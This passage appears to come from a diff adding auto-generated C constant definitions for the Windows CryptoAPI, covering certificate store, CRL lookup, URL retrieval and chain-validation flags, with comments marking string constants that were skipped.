constant +// SKIPPED const CERT_PROT_ROOT_PEER_USAGES_VALUE_NAME_A: non-integer constant +// SKIPPED const CERT_LOCAL_MACHINE_SYSTEM_STORE_REGPATH: non-integer constant +// SKIPPED const CERT_TRUST_PUB_AUTHENTICODE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_TRUST_PUB_ALLOW_TRUST_MASK 0x3 +#define CERT_TRUST_PUB_ALLOW_END_USER_TRUST 0x0 +#define CERT_TRUST_PUB_ALLOW_MACHINE_ADMIN_TRUST 0x1 +#define CERT_TRUST_PUB_ALLOW_ENTERPRISE_ADMIN_TRUST 0x2 +#define CERT_TRUST_PUB_CHECK_PUBLISHER_REV_FLAG 0x100 +#define CERT_TRUST_PUB_CHECK_TIMESTAMP_REV_FLAG 0x200 +// SKIPPED const CERT_OCM_SUBCOMPONENTS_LOCAL_MACHINE_REGPATH: non-integer constant +// SKIPPED const CERT_OCM_SUBCOMPONENTS_ROOT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISABLE_ROOT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_ENABLE_DISALLOWED_CERT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISABLE_PIN_RULES_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTO_UPDATE_ROOT_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTO_UPDATE_SYNC_FROM_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_ROOT_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_AUTH_ROOT_AUTO_UPDATE_DISABLE_UNTRUSTED_ROOT_LOGGING_FLAG 0x1 +#define CERT_AUTH_ROOT_AUTO_UPDATE_DISABLE_PARTIAL_CHAIN_LOGGING_FLAG 0x2 +#define CERT_AUTO_UPDATE_DISABLE_RANDOM_QUERY_STRING_FLAG 0x4 +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_SEQ_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CERT_EXT: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_LIST_IDENTIFIER: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_PIN_RULES_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_LIST_IDENTIFIER: non-integer constant +#define CERT_REGISTRY_STORE_REMOTE_FLAG 0x10000 +#define CERT_REGISTRY_STORE_SERIALIZED_FLAG 0x20000 +#define CERT_REGISTRY_STORE_CLIENT_GPT_FLAG 0x80000000 +#define CERT_REGISTRY_STORE_LM_GPT_FLAG 0x1000000 +#define CERT_REGISTRY_STORE_ROAMING_FLAG 0x40000 +#define CERT_REGISTRY_STORE_MY_IE_DIRTY_FLAG 0x80000 +#define CERT_REGISTRY_STORE_EXTERNAL_FLAG 0x100000 +// SKIPPED const CERT_IE_DIRTY_FLAGS_REGPATH: non-integer constant +#define CERT_FILE_STORE_COMMIT_ENABLE_FLAG 0x10000 +#define CERT_LDAP_STORE_SIGN_FLAG 0x10000 +#define CERT_LDAP_STORE_AREC_EXCLUSIVE_FLAG 0x20000 +#define CERT_LDAP_STORE_OPENED_FLAG 0x40000 +#define CERT_LDAP_STORE_UNBIND_FLAG 0x80000 +// SKIPPED const CRYPT_OID_OPEN_STORE_PROV_FUNC: non-integer constant +#define CERT_STORE_PROV_GP_SYSTEM_STORE_FLAG 0x20 +#define CERT_STORE_PROV_SHARED_USER_FLAG 0x40 +#define CERT_STORE_PROV_CLOSE_FUNC 0x0 +#define CERT_STORE_PROV_READ_CERT_FUNC 0x1 +#define CERT_STORE_PROV_WRITE_CERT_FUNC 0x2 +#define CERT_STORE_PROV_DELETE_CERT_FUNC 0x3 +#define CERT_STORE_PROV_SET_CERT_PROPERTY_FUNC 0x4 +#define CERT_STORE_PROV_READ_CRL_FUNC 0x5 +#define CERT_STORE_PROV_WRITE_CRL_FUNC 0x6 +#define CERT_STORE_PROV_DELETE_CRL_FUNC 0x7 +#define CERT_STORE_PROV_SET_CRL_PROPERTY_FUNC 0x8 +#define CERT_STORE_PROV_READ_CTL_FUNC 0x9 +#define CERT_STORE_PROV_WRITE_CTL_FUNC 0xa +#define CERT_STORE_PROV_DELETE_CTL_FUNC 0xb +#define CERT_STORE_PROV_SET_CTL_PROPERTY_FUNC 0xc +#define CERT_STORE_PROV_CONTROL_FUNC 0xd +#define CERT_STORE_PROV_FIND_CERT_FUNC 0xe +#define CERT_STORE_PROV_FREE_FIND_CERT_FUNC 0xf +#define CERT_STORE_PROV_GET_CERT_PROPERTY_FUNC 0x10 +#define CERT_STORE_PROV_FIND_CRL_FUNC 0x11 +#define CERT_STORE_PROV_FREE_FIND_CRL_FUNC 0x12 +#define CERT_STORE_PROV_GET_CRL_PROPERTY_FUNC 0x13 +#define CERT_STORE_PROV_FIND_CTL_FUNC 0x14 +#define CERT_STORE_PROV_FREE_FIND_CTL_FUNC 0x15 +#define CERT_STORE_PROV_GET_CTL_PROPERTY_FUNC 0x16 +#define CERT_STORE_PROV_WRITE_ADD_FLAG 0x1 +#define CERT_STORE_SAVE_AS_PKCS12 0x3 +#define CERT_CLOSE_STORE_FORCE_FLAG 0x1 +#define CERT_CLOSE_STORE_CHECK_FLAG 0x2 +#define CERT_COMPARE_MASK 0xffff +#define CERT_COMPARE_ANY 0x0 +#define CERT_COMPARE_SHA1_HASH 0x1 +#define CERT_COMPARE_NAME 0x2 +#define CERT_COMPARE_ATTR 0x3 +#define CERT_COMPARE_MD5_HASH 0x4 +#define CERT_COMPARE_PROPERTY 0x5 +#define CERT_COMPARE_PUBLIC_KEY 0x6 +#define CERT_COMPARE_HASH 0x1 +#define CERT_COMPARE_NAME_STR_A 0x7 +#define CERT_COMPARE_NAME_STR_W 0x8 +#define CERT_COMPARE_KEY_SPEC 0x9 +#define CERT_COMPARE_ENHKEY_USAGE 0xa +#define CERT_COMPARE_CTL_USAGE 0xa +#define CERT_COMPARE_SUBJECT_CERT 0xb +#define CERT_COMPARE_ISSUER_OF 0xc +#define CERT_COMPARE_EXISTING 0xd +#define CERT_COMPARE_SIGNATURE_HASH 0xe +#define CERT_COMPARE_KEY_IDENTIFIER 0xf +#define CERT_COMPARE_CERT_ID 0x10 +#define CERT_COMPARE_CROSS_CERT_DIST_POINTS 0x11 +#define CERT_COMPARE_PUBKEY_MD5_HASH 0x12 +#define CERT_COMPARE_SUBJECT_INFO_ACCESS 0x13 +#define CERT_COMPARE_HASH_STR 0x14 +#define CERT_COMPARE_HAS_PRIVATE_KEY 0x15 +#define CERT_COMPARE_SHA256_HASH 0x16 +#define CERT_COMPARE_SHA1_SHA256_HASH 0x17 +#define CERT_SET_PROPERTY_IGNORE_PERSIST_ERROR_FLAG 0x80000000 +#define CERT_SET_PROPERTY_INHIBIT_PERSIST_FLAG 0x40000000 +#define CTL_ENTRY_FROM_PROP_CHAIN_FLAG 0x1 +#define CRL_FIND_ANY 0x0 +#define CRL_FIND_ISSUED_BY 0x1 +#define CRL_FIND_EXISTING 0x2 +#define CRL_FIND_ISSUED_FOR 0x3 +#define CRL_FIND_ISSUED_BY_AKI_FLAG 0x1 +#define CRL_FIND_ISSUED_BY_SIGNATURE_FLAG 0x2 +#define CRL_FIND_ISSUED_BY_DELTA_FLAG 0x4 +#define CRL_FIND_ISSUED_BY_BASE_FLAG 0x8 +#define CRL_FIND_ISSUED_FOR_SET_STRONG_PROPERTIES_FLAG 0x10 +#define CERT_STORE_ADD_NEW 0x1 +#define CERT_STORE_ADD_USE_EXISTING 0x2 +#define CERT_STORE_ADD_REPLACE_EXISTING 0x3 +#define CERT_STORE_ADD_ALWAYS 0x4 +#define CERT_STORE_ADD_REPLACE_EXISTING_INHERIT_PROPERTIES 0x5 +#define CERT_STORE_ADD_NEWER 0x6 +#define CERT_STORE_ADD_NEWER_INHERIT_PROPERTIES 0x7 +#define CERT_STORE_CERTIFICATE_CONTEXT 0x1 +#define CERT_STORE_CRL_CONTEXT 0x2 +#define CERT_STORE_CTL_CONTEXT 0x3 +#define CTL_ANY_SUBJECT_TYPE 0x1 +#define CTL_CERT_SUBJECT_TYPE 0x2 +#define CTL_FIND_NO_LIST_ID_CBDATA 0xffffffff +#define CERT_STORE_CTRL_RESYNC 0x1 +#define CERT_STORE_CTRL_NOTIFY_CHANGE 0x2 +#define CERT_STORE_CTRL_COMMIT 0x3 +#define CERT_STORE_CTRL_AUTO_RESYNC 0x4 +#define CERT_STORE_CTRL_CANCEL_NOTIFY 0x5 +#define CERT_STORE_LOCALIZED_NAME_PROP_ID 0x1000 +#define CERT_CREATE_CONTEXT_NOCOPY_FLAG 0x1 +#define CERT_CREATE_CONTEXT_SORTED_FLAG 0x2 +#define CERT_CREATE_CONTEXT_NO_HCRYPTMSG_FLAG 0x4 +#define CERT_CREATE_CONTEXT_NO_ENTRY_FLAG 0x8 +#define CERT_PHYSICAL_STORE_ADD_ENABLE_FLAG 0x1 +#define CERT_PHYSICAL_STORE_OPEN_DISABLE_FLAG 0x2 +#define CERT_PHYSICAL_STORE_REMOTE_OPEN_DISABLE_FLAG 0x4 +#define CERT_PHYSICAL_STORE_INSERT_COMPUTER_NAME_ENABLE_FLAG 0x8 +#define CERT_PHYSICAL_STORE_PREDEFINED_ENUM_FLAG 0x1 +// SKIPPED const CERT_PHYSICAL_STORE_DEFAULT_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_GROUP_POLICY_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_LOCAL_MACHINE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_DS_USER_CERTIFICATE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_LOCAL_MACHINE_GROUP_POLICY_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_ENTERPRISE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_AUTH_ROOT_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_SMART_CARD_NAME: non-integer constant +// SKIPPED const CRYPT_OID_OPEN_SYSTEM_STORE_PROV_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGISTER_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_UNREGISTER_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENUM_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGISTER_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_UNREGISTER_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENUM_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_SYSTEM_STORE_LOCATION_VALUE_NAME: non-integer constant +#define CMSG_TRUSTED_SIGNER_FLAG 0x1 +#define CMSG_SIGNER_ONLY_FLAG 0x2 +#define CMSG_USE_SIGNER_INDEX_FLAG 0x4 +#define CMSG_CMS_ENCAPSULATED_CTL_FLAG 0x8000 +#define CMSG_ENCODE_SORTED_CTL_FLAG 0x1 +#define CMSG_ENCODE_HASHED_SUBJECT_IDENTIFIER_FLAG 0x2 +#define CERT_VERIFY_INHIBIT_CTL_UPDATE_FLAG 0x1 +#define CERT_VERIFY_TRUSTED_SIGNERS_FLAG 0x2 +#define CERT_VERIFY_NO_TIME_CHECK_FLAG 0x4 +#define CERT_VERIFY_ALLOW_MORE_USAGE_FLAG 0x8 +#define CERT_VERIFY_UPDATED_CTL_FLAG 0x1 +#define CERT_CONTEXT_REVOCATION_TYPE 0x1 +#define CERT_VERIFY_REV_CHAIN_FLAG 0x1 +#define CERT_VERIFY_CACHE_ONLY_BASED_REVOCATION 0x2 +#define CERT_VERIFY_REV_ACCUMULATIVE_TIMEOUT_FLAG 0x4 +#define CERT_VERIFY_REV_SERVER_OCSP_FLAG 0x8 +#define CERT_VERIFY_REV_NO_OCSP_FAILOVER_TO_CRL_FLAG 0x10 +#define CERT_VERIFY_REV_SERVER_OCSP_WIRE_ONLY_FLAG 0x20 +#define CERT_UNICODE_IS_RDN_ATTRS_FLAG 0x1 +#define CERT_CASE_INSENSITIVE_IS_RDN_ATTRS_FLAG 0x2 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_BLOB 0x1 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_CERT 0x2 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_CRL 0x3 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_OCSP_BASIC_SIGNED_RESPONSE 0x4 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_PUBKEY 0x1 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_CERT 0x2 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_CHAIN 0x3 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_NULL 0x4 +#define CRYPT_VERIFY_CERT_SIGN_CHECK_WEAK_HASH_FLAG 0x8 +// SKIPPED const CRYPT_OID_EXTRACT_ENCODED_SIGNATURE_PARAMETERS_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_SIGN_AND_ENCODE_HASH_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_ENCODED_SIGNATURE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_EX2_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_FROM_BCRYPT_HANDLE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PUBLIC_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PUBLIC_KEY_INFO_EX2_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PRIVATE_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PRIVATE_KEY_INFO_FUNC: non-integer constant +#define CRYPT_DELETE_KEYSET 0x10 +#define CERT_XML_NAME_STR 0x4 +#define CERT_NAME_STR_SEMICOLON_FLAG 0x40000000 +#define CERT_NAME_STR_NO_PLUS_FLAG 0x20000000 +#define CERT_NAME_STR_NO_QUOTING_FLAG 0x10000000 +#define CERT_NAME_STR_CRLF_FLAG 0x8000000 +#define CERT_NAME_STR_COMMA_FLAG 0x4000000 +#define CERT_NAME_STR_REVERSE_FLAG 0x2000000 +#define CERT_NAME_STR_FORWARD_FLAG 0x1000000 +#define CERT_NAME_STR_DISABLE_IE4_UTF8_FLAG 0x10000 +#define CERT_NAME_STR_ENABLE_T61_UNICODE_FLAG 0x20000 +#define CERT_NAME_STR_ENABLE_UTF8_UNICODE_FLAG 0x40000 +#define CERT_NAME_STR_FORCE_UTF8_DIR_STR_FLAG 0x80000 +#define CERT_NAME_STR_DISABLE_UTF8_DIR_STR_FLAG 0x100000 +#define CERT_NAME_STR_ENABLE_PUNYCODE_FLAG 0x200000 +#define CERT_NAME_EMAIL_TYPE 0x1 +#define CERT_NAME_RDN_TYPE 0x2 +#define CERT_NAME_ATTR_TYPE 0x3 +#define CERT_NAME_SIMPLE_DISPLAY_TYPE 0x4 +#define CERT_NAME_FRIENDLY_DISPLAY_TYPE 0x5 +#define CERT_NAME_DNS_TYPE 0x6 +#define CERT_NAME_URL_TYPE 0x7 +#define CERT_NAME_UPN_TYPE 0x8 +#define CERT_NAME_ISSUER_FLAG 0x1 +#define CERT_NAME_DISABLE_IE4_UTF8_FLAG 0x10000 +#define CERT_NAME_SEARCH_ALL_NAMES_FLAG 0x2 +#define CRYPT_MESSAGE_BARE_CONTENT_OUT_FLAG 0x1 +#define CRYPT_MESSAGE_ENCAPSULATED_CONTENT_OUT_FLAG 0x2 +#define CRYPT_MESSAGE_KEYID_SIGNER_FLAG 0x4 +#define CRYPT_MESSAGE_SILENT_KEYSET_FLAG 0x40 +#define CRYPT_MESSAGE_KEYID_RECIPIENT_FLAG 0x4 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS_A 1 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS_W 2 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS 2 +// SKIPPED const SCHEME_OID_RETRIEVE_ENCODED_OBJECT_FUNC: non-integer constant +// SKIPPED const SCHEME_OID_RETRIEVE_ENCODED_OBJECTW_FUNC: non-integer constant +// SKIPPED const CONTEXT_OID_CREATE_OBJECT_CONTEXT_FUNC: non-integer constant +#define CONTEXT_OID_CERTIFICATE 1 +#define CONTEXT_OID_CRL 2 +#define CONTEXT_OID_CTL 3 +#define CONTEXT_OID_PKCS7 4 +#define CONTEXT_OID_CAPI2_ANY 5 +#define CONTEXT_OID_OCSP_RESP 6 +#define CRYPT_RETRIEVE_MULTIPLE_OBJECTS 0x1 +#define CRYPT_CACHE_ONLY_RETRIEVAL 0x2 +#define CRYPT_WIRE_ONLY_RETRIEVAL 0x4 +#define CRYPT_DONT_CACHE_RESULT 0x8 +#define CRYPT_ASYNC_RETRIEVAL 0x10 +#define CRYPT_STICKY_CACHE_RETRIEVAL 0x1000 +#define CRYPT_LDAP_SCOPE_BASE_ONLY_RETRIEVAL 0x2000 +#define CRYPT_OFFLINE_CHECK_RETRIEVAL 0x4000 +#define CRYPT_LDAP_INSERT_ENTRY_ATTRIBUTE 0x8000 +#define CRYPT_LDAP_SIGN_RETRIEVAL 0x10000 +#define CRYPT_NO_AUTH_RETRIEVAL 0x20000 +#define CRYPT_LDAP_AREC_EXCLUSIVE_RETRIEVAL 0x40000 +#define CRYPT_AIA_RETRIEVAL 0x80000 +#define CRYPT_HTTP_POST_RETRIEVAL 0x100000 +#define CRYPT_PROXY_CACHE_RETRIEVAL 0x200000 +#define CRYPT_NOT_MODIFIED_RETRIEVAL 0x400000 +#define CRYPT_ENABLE_SSL_REVOCATION_RETRIEVAL 0x800000 +#define CRYPT_RANDOM_QUERY_STRING_RETRIEVAL 0x4000000 +#define CRYPT_ENABLE_FILE_RETRIEVAL 0x8000000 +#define CRYPT_CREATE_NEW_FLUSH_ENTRY 0x10000000 +#define CRYPT_VERIFY_CONTEXT_SIGNATURE 0x20 +#define CRYPT_VERIFY_DATA_HASH 0x40 +#define CRYPT_KEEP_TIME_VALID 0x80 +#define CRYPT_DONT_VERIFY_SIGNATURE 0x100 +#define CRYPT_DONT_CHECK_TIME_VALIDITY 0x200 +#define CRYPT_CHECK_FRESHNESS_TIME_VALIDITY 0x400 +#define CRYPT_ACCUMULATIVE_TIMEOUT 0x800 +#define CRYPT_OCSP_ONLY_RETRIEVAL 0x1000000 +#define CRYPT_NO_OCSP_FAILOVER_TO_CRL_RETRIEVAL 0x2000000 +#define CRYPTNET_URL_CACHE_PRE_FETCH_NONE 0x0 +#define CRYPTNET_URL_CACHE_PRE_FETCH_BLOB 0x1 +#define CRYPTNET_URL_CACHE_PRE_FETCH_CRL 0x2 +#define CRYPTNET_URL_CACHE_PRE_FETCH_OCSP 0x3 +#define CRYPTNET_URL_CACHE_PRE_FETCH_AUTOROOT_CAB 0x5 +#define CRYPTNET_URL_CACHE_PRE_FETCH_DISALLOWED_CERT_CAB 0x6 +#define CRYPTNET_URL_CACHE_PRE_FETCH_PIN_RULES_CAB 0x7 +#define CRYPTNET_URL_CACHE_DEFAULT_FLUSH 0x0 +#define CRYPTNET_URL_CACHE_DISABLE_FLUSH 0xffffffff +#define CRYPTNET_URL_CACHE_RESPONSE_NONE 0x0 +#define CRYPTNET_URL_CACHE_RESPONSE_HTTP 0x1 +#define CRYPTNET_URL_CACHE_RESPONSE_VALIDATED 0x8000 +#define CRYPT_RETRIEVE_MAX_ERROR_CONTENT_LENGTH 0x1000 +#define CRYPT_PARAM_ASYNC_RETRIEVAL_COMPLETION 1 +#define CRYPT_PARAM_CANCEL_ASYNC_RETRIEVAL 2 +// SKIPPED const URL_OID_GET_OBJECT_URL_FUNC: non-integer constant +#define URL_OID_CERTIFICATE_ISSUER 1 +#define URL_OID_CERTIFICATE_CRL_DIST_POINT 2 +#define URL_OID_CTL_ISSUER 3 +#define URL_OID_CTL_NEXT_UPDATE 4 +#define URL_OID_CRL_ISSUER 5 +#define URL_OID_CERTIFICATE_FRESHEST_CRL 6 +#define URL_OID_CRL_FRESHEST_CRL 7 +#define URL_OID_CROSS_CERT_DIST_POINT 8 +#define URL_OID_CERTIFICATE_OCSP 9 +#define URL_OID_CERTIFICATE_OCSP_AND_CRL_DIST_POINT 10 +#define URL_OID_CERTIFICATE_CRL_DIST_POINT_AND_OCSP 11 +#define URL_OID_CROSS_CERT_SUBJECT_INFO_ACCESS 12 +#define URL_OID_CERTIFICATE_ONLY_OCSP 13 +// SKIPPED const TIME_VALID_OID_GET_OBJECT_FUNC: non-integer constant +#define TIME_VALID_OID_GET_CTL 1 +#define TIME_VALID_OID_GET_CRL 2 +#define TIME_VALID_OID_GET_CRL_FROM_CERT 3 +#define TIME_VALID_OID_GET_FRESHEST_CRL_FROM_CERT 4 +#define TIME_VALID_OID_GET_FRESHEST_CRL_FROM_CRL 5 +// SKIPPED const TIME_VALID_OID_FLUSH_OBJECT_FUNC: non-integer constant +#define TIME_VALID_OID_FLUSH_CTL 1 +#define TIME_VALID_OID_FLUSH_CRL 2 +#define TIME_VALID_OID_FLUSH_CRL_FROM_CERT 3 +#define TIME_VALID_OID_FLUSH_FRESHEST_CRL_FROM_CERT 4 +#define TIME_VALID_OID_FLUSH_FRESHEST_CRL_FROM_CRL 5 +#define CRYPT_KEYID_MACHINE_FLAG 0x20 +#define CRYPT_KEYID_ALLOC_FLAG 0x8000 +#define CRYPT_KEYID_DELETE_FLAG 0x10 +#define CRYPT_KEYID_SET_NEW_FLAG 0x2000 +// SKIPPED const CERT_CHAIN_CONFIG_REGPATH: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_URL_RETRIEVAL_BYTE_COUNT_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_CACHE_RESYNC_FILETIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_MANDATORY_BASIC_CONSTRAINTS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_CA_NAME_CONSTRAINTS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_UNSUPPORTED_CRITICAL_EXTENSIONS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_COUNT_IN_CERT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_COUNT_IN_CERT_DEFAULT 0x5 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_COUNT_PER_CHAIN_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_COUNT_PER_CHAIN_DEFAULT 0x3 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_BYTE_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_BYTE_COUNT_DEFAULT 0x186a0 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_CERT_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_CERT_COUNT_DEFAULT 0xa +// SKIPPED const CERT_CHAIN_OCSP_VALIDITY_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_SERIAL_CHAIN_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_SERIAL_CHAIN_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_SYNC_WITH_SSL_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_DEFAULT 0x5 +#define CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_SSL_HANDSHAKE_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_ENABLE_WEAK_SIGNATURE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_ENABLE_MD2_MD4_FLAG 0x1 +#define CERT_CHAIN_ENABLE_WEAK_RSA_ROOT_FLAG 0x2 +#define CERT_CHAIN_ENABLE_WEAK_LOGGING_FLAG 0x4 +#define CERT_CHAIN_ENABLE_ONLY_WEAK_LOGGING_FLAG 0x8 +// SKIPPED const CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x3ff +#define CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x7ff +#define CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x7ff +#define CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_WEAK_RSA_PUB_KEY_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_SIGNATURE_LOG_DIR_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DEFAULT_CONFIG_SUBDIR: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_PREFIX_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_THIRD_PARTY_CONFIG_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_ALL_CONFIG_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_FLAGS_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_HYGIENE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_FILE_HASH_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_TIMESTAMP_HASH_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_MIN_BIT_LENGTH_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_SHA256_ALLOW_NAME: non-integer constant +#define CERT_CHAIN_MIN_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +#define CERT_CHAIN_ENABLE_WEAK_SETTINGS_FLAG 0x80000000 +#define CERT_CHAIN_DISABLE_ECC_PARA_FLAG 0x10 +#define CERT_CHAIN_DISABLE_ALL_EKU_WEAK_FLAG 0x10000 +#define CERT_CHAIN_ENABLE_ALL_EKU_HYGIENE_FLAG 0x20000 +#define CERT_CHAIN_DISABLE_OPT_IN_SERVER_AUTH_WEAK_FLAG 0x40000 +#define CERT_CHAIN_DISABLE_SERVER_AUTH_WEAK_FLAG 0x100000 +#define CERT_CHAIN_ENABLE_SERVER_AUTH_HYGIENE_FLAG 0x200000 +#define CERT_CHAIN_DISABLE_CODE_SIGNING_WEAK_FLAG 0x400000 +#define CERT_CHAIN_DISABLE_MOTW_CODE_SIGNING_WEAK_FLAG 